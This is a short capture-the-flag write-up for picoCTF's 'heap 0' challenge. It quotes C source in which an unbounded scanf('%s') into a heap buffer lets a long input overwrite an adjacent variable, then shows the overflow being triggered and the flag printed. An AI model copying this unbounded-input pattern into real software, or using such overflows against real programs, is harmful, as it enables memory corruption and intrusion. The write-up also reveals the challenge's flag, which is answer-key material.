heap 0

picoCTF › Binary · + Tags

while analyzing the source file, it is noticeable that I need to change safe_var = “bico” to something else to reveal the flag.

```
15  void check_win() {
16      if (strcmp(safe_var, "bico") = 0) {
17          printf("\nYOU WIN\n");
18
19          // Print flag
20          char buf[FLAGSIZE_MAX];
21          FILE *fd = fopen("flag.txt", "r");
22          fgets(buf, FLAGSIZE_MAX, fd);
23          printf("%s\n", buf);
24          fflush(stdout);
25
26          exit(0);
27      } else {
28          printf("Looks like everything is still secure!\n");
29          printf("\nNo flage for you :(\n");
30          fflush(stdout);
31      }
32  }
```

I can only input data in just one option from the main menu

```
case 2:
    write_buffer();
    break;
```

which leads to this function. Now, If I look at this `write_buffer()` function, it takes a variable named `input_data`.

```
void write_buffer() {
    printf("Data for buffer: ");
    fflush(stdout);
    scanf("%s", input_data);
}
```

```c
void init() {
    printf("\nWelcome to heap0!\n");
    printf(
        "I put my data on the heap so it should be safe from any tampering.\n");
    printf("Since my data isn't on the stack I'll even let you write whatever "
           "info you want to the heap, I already took care of using malloc for "
           "you.\n\n");
    fflush(stdout);
    input_data = malloc(INPUT_DATA_SIZE);
    strncpy(input_data, "pico", INPUT_DATA_SIZE);
    safe_var = malloc(SAFE_VAR_SIZE);
    strncpy(safe_var, "bico", SAFE_VAR_SIZE);
}
```

malloc takes whatever is inputted through the terminal and allocates it to input_data. However, if the input_data is over than INPUT_DATA_SIZE, it will overwrite the safe_var variable. If the safe_var is overwritten and it is not “bico”, then it should reveal the flag.

```
1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 2
Data for buffer: saowqmemwqkdsaowekkqwoasdoawejqkkasdsieqwkadskqwe

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 3


Take a look at my variable: safe_var = kasdsieqwkadskqwe


1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 4

YOU WIN
picoCTF{my_first_heap_overflow_1ad0e1a6}

┌──(kali㉿kali)-[~/ctf/heap 0]
```

flag: picoCTF{my_first_heap_overflow_1ad0e1a6}